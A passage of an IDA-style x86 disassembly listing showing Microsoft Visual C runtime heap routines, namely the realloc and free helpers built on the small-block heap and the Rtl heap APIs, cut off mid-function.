		cmp	[ebp+var_28], 0
		jz	short loc_4245CC
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+arg_4]
		cmp	edx, dword_454DFC
		ja	short loc_4245B3
		mov	eax, [ebp+arg_4]
		shr	eax, 4
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		call	___sbh_resize_block_0
		add	esp, 10h
		test	eax, eax
		jz	short loc_4245B3
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_1C], ecx

loc_4245B3:				; CODE XREF: sub_424440+14Cj
					; sub_424440+16Bj
		push	0FFFFFFFFh
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_30], edx
		lea	eax, [ebp+var_10]
		push	eax
		call	__local_unwind2
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42463C
; ---------------------------------------------------------------------------

loc_4245CC:				; CODE XREF: sub_424440+13Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4245DA
		jmp	short loc_4245E5
; END OF FUNCTION CHUNK	FOR sub_424440

; =============== S U B	R O U T	I N E =======================================



sub_4245DA	proc near		; CODE XREF: sub_424440+193p
					; DATA XREF: .rdata:0043E06Co
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_4245DA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424440

loc_4245E5:				; CODE XREF: sub_424440+198j
		cmp	[ebp+var_28], 0
		jnz	short loc_424604
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F64E0	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_424604:				; CODE XREF: sub_424440+1A9j
		jmp	short loc_424639
; ---------------------------------------------------------------------------

loc_424606:				; CODE XREF: sub_424440+EFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_424613
		mov	[ebp+arg_4], 1

loc_424613:				; CODE XREF: sub_424440+1CAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	10h
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F64E0	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax

loc_424639:				; CODE XREF: sub_424440:loc_424523j
					; sub_424440:loc_424604j
		mov	eax, [ebp+var_1C]

loc_42463C:				; CODE XREF: sub_424440+2Bj
					; sub_424440+18Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424440
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_424650(void *Src,int)

sub_424650	proc near		; CODE XREF: _realloc_help+2AFp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
Size		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00424823 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 00424A3A SIZE 000000A9 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E070
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		cmp	[ebp+Src], 0
		jnz	short loc_424690
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	__malloc_base
		add	esp, 4
		jmp	loc_424AD2
; ---------------------------------------------------------------------------

loc_424690:				; CODE XREF: sub_424650+2Dj
		cmp	[ebp+arg_4], 0
		jnz	short loc_4246A9
		mov	edx, [ebp+Src]
		push	edx
		call	sub_424AF0
		add	esp, 4
		xor	eax, eax
		jmp	loc_424AD2
; ---------------------------------------------------------------------------

loc_4246A9:				; CODE XREF: sub_424650+44j
		cmp	dword_4F4E6C, 3
		jnz	loc_42488F

loc_4246B6:				; CODE XREF: sub_424650:loc_42488Aj
		mov	[ebp+Dst], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_42485C
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+Src]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_42480A
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4F4E8C
		ja	loc_42478A
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	___sbh_resize_block
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_424720
		mov	edx, [ebp+Src]
		mov	[ebp+Dst], edx
		jmp	short loc_42478A
; ---------------------------------------------------------------------------

loc_424720:				; CODE XREF: sub_424650+C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	___sbh_alloc_block
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_42478A
		mov	ecx, [ebp+Src]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_424751
		mov	ecx, [ebp+var_20]
		mov	[ebp+Size], ecx
		jmp	short loc_424757
; ---------------------------------------------------------------------------

loc_424751:				; CODE XREF: sub_424650+F7j
		mov	edx, [ebp+arg_4]
		mov	[ebp+Size], edx

loc_424757:				; CODE XREF: sub_424650+FFj
		mov	eax, [ebp+Size]
		push	eax		; Size
		mov	ecx, [ebp+Src]
		push	ecx		; Src
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	eax, [ebp+Src]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+Src]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_424FD0
		add	esp, 8

loc_42478A:				; CODE XREF: sub_424650+AAj
					; sub_424650+CEj ...
		cmp	[ebp+Dst], 0
		jnz	short loc_42480A
		cmp	[ebp+arg_4], 0
		jnz	short loc_42479D
		mov	[ebp+arg_4], 1

loc_42479D:				; CODE XREF: sub_424650+144j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4F4E68
		push	edx
		call	ds:dword_4F644C	; RtlAllocateHeap
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_42480A
		mov	eax, [ebp+Src]
		mov	ecx, [eax-4]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_4247E0
		mov	eax, [ebp+var_20]
		mov	[ebp+var_40], eax
		jmp	short loc_4247E6
; ---------------------------------------------------------------------------

loc_4247E0:				; CODE XREF: sub_424650+186j
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_40], ecx

loc_4247E6:				; CODE XREF: sub_424650+18Ej
		mov	edx, [ebp+var_40]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	edx, [ebp+Src]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		call	sub_424FD0
		add	esp, 8

loc_42480A:				; CODE XREF: sub_424650+9Bj
					; sub_424650+13Ej ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_424818
		jmp	short loc_424823
sub_424650	endp


; =============== S U B	R O U T	I N E =======================================



sub_424818	proc near		; CODE XREF: sub_424650+1C1p
					; DATA XREF: .rdata:0043E078o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_424818	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424650

loc_424823:				; CODE XREF: sub_424650+1C6j
		cmp	[ebp+var_28], 0
		jnz	short loc_42485C
		cmp	[ebp+arg_4], 0
		jnz	short loc_424836
		mov	[ebp+arg_4], 1

loc_424836:				; CODE XREF: sub_424650+1DDj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		push	0
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F64E0	; RtlReAllocateHeap
		mov	[ebp+Dst], eax

loc_42485C:				; CODE XREF: sub_424650+71j
					; sub_424650+1D7j
		cmp	[ebp+Dst], 0
		jnz	short loc_42486B
		cmp	dword_4F47F4, 0
		jnz	short loc_424873

loc_42486B:				; CODE XREF: sub_424650+210j
		mov	eax, [ebp+Dst]
		jmp	loc_424AD2
; ---------------------------------------------------------------------------

loc_424873:				; CODE XREF: sub_424650+219j
		mov	edx, [ebp+arg_4]
		push	edx
		call	__callnewh
		add	esp, 4
		test	eax, eax
		jnz	short loc_42488A
		xor	eax, eax
		jmp	loc_424AD2
; ---------------------------------------------------------------------------

loc_42488A:				; CODE XREF: sub_424650+231j
		jmp	loc_4246B6
; ---------------------------------------------------------------------------

loc_42488F:				; CODE XREF: sub_424650+60j
		cmp	dword_4F4E6C, 2
		jnz	loc_424A6A
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_4248BC
		cmp	[ebp+arg_4], 0
		jbe	short loc_4248B5
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		jmp	short loc_4248BC
; ---------------------------------------------------------------------------

loc_4248B5:				; CODE XREF: sub_424650+256j
		mov	[ebp+arg_4], 10h

loc_4248BC:				; CODE XREF: sub_424650+250j
					; sub_424650+263j ...
		mov	[ebp+Dst], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_424A3A
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_30], eax
		cmp	[ebp+var_30], 0
		jz	loc_424A07
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_454DFC
		jnb	loc_424998
		mov	edx, [ebp+arg_4]
		shr	edx, 4
		push	edx
		mov	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+var_38]
		push	edx
		call	___sbh_resize_block_0
		add	esp, 10h
		test	eax, eax
		jz	short loc_424935
		mov	eax, [ebp+Src]
		mov	[ebp+Dst], eax
		jmp	short loc_424998
; ---------------------------------------------------------------------------

loc_424935:				; CODE XREF: sub_424650+2DBj
		mov	ecx, [ebp+arg_4]
		shr	ecx, 4
		push	ecx
		call	___sbh_alloc_block_0
		add	esp, 4
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_424998
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		shl	eax, 4
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_4]
		jnb	short loc_42496A
		mov	edx, [ebp+var_34]
		mov	[ebp+var_44], edx
		jmp	short loc_424970
; ---------------------------------------------------------------------------

loc_42496A:				; CODE XREF: sub_424650+310j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_44], eax

loc_424970:				; CODE XREF: sub_424650+318j
		mov	ecx, [ebp+var_44]
		push	ecx		; Size
		mov	edx, [ebp+Src]
		push	edx		; Src
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_38]
		push	eax
		call	___sbh_free_block
		add	esp, 0Ch

loc_424998:				; CODE XREF: sub_424650+2B8j
					; sub_424650+2E3j ...
		cmp	[ebp+Dst], 0
		jnz	short loc_424A05
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0
		mov	edx, dword_4F4E68
		push	edx
		call	ds:dword_4F644C	; RtlAllocateHeap
		mov	[ebp+Dst], eax
		cmp	[ebp+Dst], 0
		jz	short loc_424A05
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		shl	ecx, 4
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_4249D7
		mov	eax, [ebp+var_34]
		mov	[ebp+var_48], eax
		jmp	short loc_4249DD
; ---------------------------------------------------------------------------

loc_4249D7:				; CODE XREF: sub_424650+37Dj
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_48], ecx

loc_4249DD:				; CODE XREF: sub_424650+385j
		mov	edx, [ebp+var_48]
		push	edx		; Size
		mov	eax, [ebp+Src]
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	_memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_30]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_38]
		push	ecx
		call	___sbh_free_block
		add	esp, 0Ch

loc_424A05:				; CODE XREF: sub_424650+34Cj
					; sub_424650+368j
		jmp	short loc_424A21
; ---------------------------------------------------------------------------

loc_424A07:				; CODE XREF: sub_424650+2A9j
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+Src]
		push	eax
		push	0
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F64E0	; RtlReAllocateHeap
		mov	[ebp+Dst], eax

loc_424A21:				; CODE XREF: sub_424650:loc_424A05j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_424A2F
		jmp	short loc_424A3A
; END OF FUNCTION CHUNK	FOR sub_424650

; =============== S U B	R O U T	I N E =======================================



sub_424A2F	proc near		; CODE XREF: sub_424650+3D8p
					; DATA XREF: .rdata:0043E084o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_424A2F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424650

loc_424A3A:				; CODE XREF: sub_424650+277j
					; sub_424650+3DDj
		cmp	[ebp+Dst], 0
		jnz	short loc_424A49
		cmp	dword_4F47F4, 0
		jnz	short loc_424A51

loc_424A49:				; CODE XREF: sub_424650+3EEj
		mov	eax, [ebp+Dst]
		jmp	loc_424AD2
; ---------------------------------------------------------------------------

loc_424A51:				; CODE XREF: sub_424650+3F7j
		mov	edx, [ebp+arg_4]
		push	edx
		call	__callnewh
		add	esp, 4
		test	eax, eax
		jnz	short loc_424A65
		xor	eax, eax
		jmp	short loc_424AD2
; ---------------------------------------------------------------------------

loc_424A65:				; CODE XREF: sub_424650+40Fj
		jmp	loc_4248BC
; ---------------------------------------------------------------------------

loc_424A6A:				; CODE XREF: sub_424650+246j
					; sub_424650:loc_424AD0j
		mov	[ebp+Dst], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	short loc_424AA8
		cmp	[ebp+arg_4], 0
		jnz	short loc_424A84
		mov	[ebp+arg_4], 1

loc_424A84:				; CODE XREF: sub_424650+42Bj
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+Src]
		push	edx
		push	0
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F64E0	; RtlReAllocateHeap
		mov	[ebp+Dst], eax

loc_424AA8:				; CODE XREF: sub_424650+425j
		cmp	[ebp+Dst], 0
		jnz	short loc_424AB7
		cmp	dword_4F47F4, 0
		jnz	short loc_424ABC

loc_424AB7:				; CODE XREF: sub_424650+45Cj
		mov	eax, [ebp+Dst]
		jmp	short loc_424AD2
; ---------------------------------------------------------------------------

loc_424ABC:				; CODE XREF: sub_424650+465j
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	__callnewh
		add	esp, 4
		test	eax, eax
		jnz	short loc_424AD0
		xor	eax, eax
		jmp	short loc_424AD2
; ---------------------------------------------------------------------------

loc_424AD0:				; CODE XREF: sub_424650+47Aj
		jmp	short loc_424A6A
; ---------------------------------------------------------------------------

loc_424AD2:				; CODE XREF: sub_424650+3Bj
					; sub_424650+54j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424650
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424AF0	proc near		; CODE XREF: sub_41D8A0+26Ep
					; sub_41D8A0+3B2p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00424B76 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 00424BF8 SIZE 0000003E BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E088
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_424B1E
		jmp	loc_424C25
; ---------------------------------------------------------------------------

loc_424B1E:				; CODE XREF: sub_424AF0+27j
		cmp	dword_4F4E6C, 3
		jnz	short loc_424B94
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_424B5D
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_424FD0
		add	esp, 8

loc_424B5D:				; CODE XREF: sub_424AF0+5Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_424B6B
		jmp	short loc_424B76
sub_424AF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_424B6B	proc near		; CODE XREF: sub_424AF0+74p
					; DATA XREF: .rdata:0043E090o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_424B6B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AF0

loc_424B76:				; CODE XREF: sub_424AF0+79j
		cmp	[ebp+var_1C], 0
		jnz	short loc_424B8F
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		mov	ecx, dword_4F4E68
		push	ecx
		call	ds:dword_4F6448	; RtlFreeHeap

loc_424B8F:				; CODE XREF: sub_424AF0+8Aj
		jmp	loc_424C25
; ---------------------------------------------------------------------------

loc_424B94:				; CODE XREF: sub_424AF0+35j
		cmp	dword_4F4E6C, 2
		jnz	short loc_424C12
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_424BDF
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_20]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	___sbh_free_block
		add	esp, 0Ch

loc_424BDF:				; CODE XREF: sub_424AF0+D9j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_424BED
		jmp	short loc_424BF8
; END OF FUNCTION CHUNK	FOR sub_424AF0

; =============== S U B	R O U T	I N E =======================================



sub_424BED	proc near		; CODE XREF: sub_424AF0+F6p
					; DATA XREF: .rdata:0043E09Co
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_424BED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AF0

loc_424BF8:				; CODE XREF: sub_424AF0+FBj
		cmp	[ebp+var_24], 0
		jnz	short loc_424C10
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4F4E68
		push	eax
		call	ds:dword_4F6448	; RtlFreeHeap

loc_424C10:				; CODE XREF: sub_424AF0+10Cj
		jmp	short loc_424C25
; ---------------------------------------------------------------------------

loc_424C12:				; CODE XREF: sub_424AF0+ABj
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4F4E68
		push	edx
		call	ds:dword_4F6448	; RtlFreeHeap

loc_424C25:				; CODE XREF: sub_424AF0+29j
					; sub_424AF0:loc_424B8Fj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_424AF0
; ---------------------------------------------------------------------------
		align 10h
; [00000062 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_424CA2. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000003A BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424CE7	proc near		; CODE XREF: unknown_libname_6+A0p
					; DATA XREF: .rdata:0043E0B4o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_424CE7	endp

; ---------------------------------------------------------------------------
; [00000052 BYTES: COLLAPSED CHUNK OF FUNCTION unknown_libname_6. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		call	unknown_libname_6 ; Microsoft VisualC 2-8/net runtime
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4F4E6C, 3
		jnz	short loc_424D73
		mov	eax, dword_4F4E8C
		jmp	short loc_424D85
; ---------------------------------------------------------------------------

loc_424D73:				; CODE XREF: .text:00424D6Aj
		cmp	dword_4F4E6C, 2
		jnz	short loc_424D83
		mov	eax, dword_454DFC
		jmp	short loc_424D85
; ---------------------------------------------------------------------------

loc_424D83:				; CODE XREF: .text:00424D7Aj
		xor	eax, eax

loc_424D85:				; CODE XREF: .text:00424D71j
					; .text:00424D81j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F4E6C, 3
		jnz	short loc_424DBF
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_424DB8
		mov	eax, [ebp+8]
		mov	dword_4F4E8C, eax
		mov	eax, 1
		jmp	loc_424E96
; ---------------------------------------------------------------------------

loc_424DB8:				; CODE XREF: .text:00424DA4j
		xor	eax, eax
		jmp	loc_424E96
; ---------------------------------------------------------------------------

loc_424DBF:				; CODE XREF: .text:00424D9Bj
		cmp	dword_4F4E6C, 2
		jnz	short loc_424DF7
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_424DF0
		mov	edx, [ebp+8]
		mov	dword_454DFC, edx
		mov	eax, 1
		jmp	loc_424E96
; ---------------------------------------------------------------------------

loc_424DF0:				; CODE XREF: .text:00424DDBj
		xor	eax, eax
		jmp	loc_424E96
; ---------------------------------------------------------------------------

loc_424DF7:				; CODE XREF: .text:00424DC6j
		cmp	dword_4F4E6C, 1
		jnz	loc_424E94
		cmp	dword ptr [ebp+8], 0
		jbe	loc_424E94
		lea	eax, [ebp-4]
		push	eax
		call	sub_427A50
		add	esp, 4
		mov	ecx, [ebp-4]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_424E5C
		cmp	dword ptr [ebp+8], 3F8h
		ja	short loc_424E5A
		mov	edx, [ebp+8]
		push	edx
		call	___sbh_heap_init
		add	esp, 4
		test	eax, eax
		jz	short loc_424E5A
		mov	eax, [ebp+8]
		mov	dword_4F4E8C, eax
		mov	dword_4F4E6C, 3
		mov	eax, 1
		jmp	short loc_424E96
; ---------------------------------------------------------------------------

loc_424E5A:				; CODE XREF: .text:00424E2Fj
					; .text:00424E3Fj
		jmp	short loc_424E94
; ---------------------------------------------------------------------------

loc_424E5C:				; CODE XREF: .text:00424E26j
		mov	ecx, [ebp+8]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+8], ecx
		cmp	dword ptr [ebp+8], 780h
		ja	short loc_424E94
		call	___sbh_new_region
		test	eax, eax
		jz	short loc_424E94
		mov	edx, [ebp+8]
		mov	dword_454DFC, edx
		mov	dword_4F4E6C, 2
		mov	eax, 1
		jmp	short loc_424E96
; ---------------------------------------------------------------------------

loc_424E94:				; CODE XREF: .text:00424DFEj
					; .text:00424E08j ...
		xor	eax, eax

loc_424E96:				; CODE XREF: .text:00424DB3j
					; .text:00424DBAj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000062 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000055 BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000005F BYTES: COLLAPSED FUNCTION ___sbh_verify_block. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424FD0	proc near		; CODE XREF: sub_424650+132p
					; sub_424650+1B2p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_3C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		sub	eax, [edx+0Ch]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		shr	ecx, 0Fh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		imul	edx, 204h
		mov	eax, [ebp+var_3C]
		lea	ecx, [eax+edx+144h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		sub	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		sub	ecx, 1
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		and	edx, 1
		test	edx, edx
		jz	short loc_42502D
		jmp	loc_4255A8
; ---------------------------------------------------------------------------

loc_42502D:				; CODE XREF: sub_424FD0+56j
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax-4]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		and	edx, 1
		test	edx, edx
		jnz	loc_425177
		mov	eax, [ebp+var_14]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_42506E
		mov	[ebp+var_24], 3Fh

loc_42506E:				; CODE XREF: sub_424FD0+95j
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_38]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_425150
		cmp	[ebp+var_24], 20h
		jnb	short loc_4250E5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4250E3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
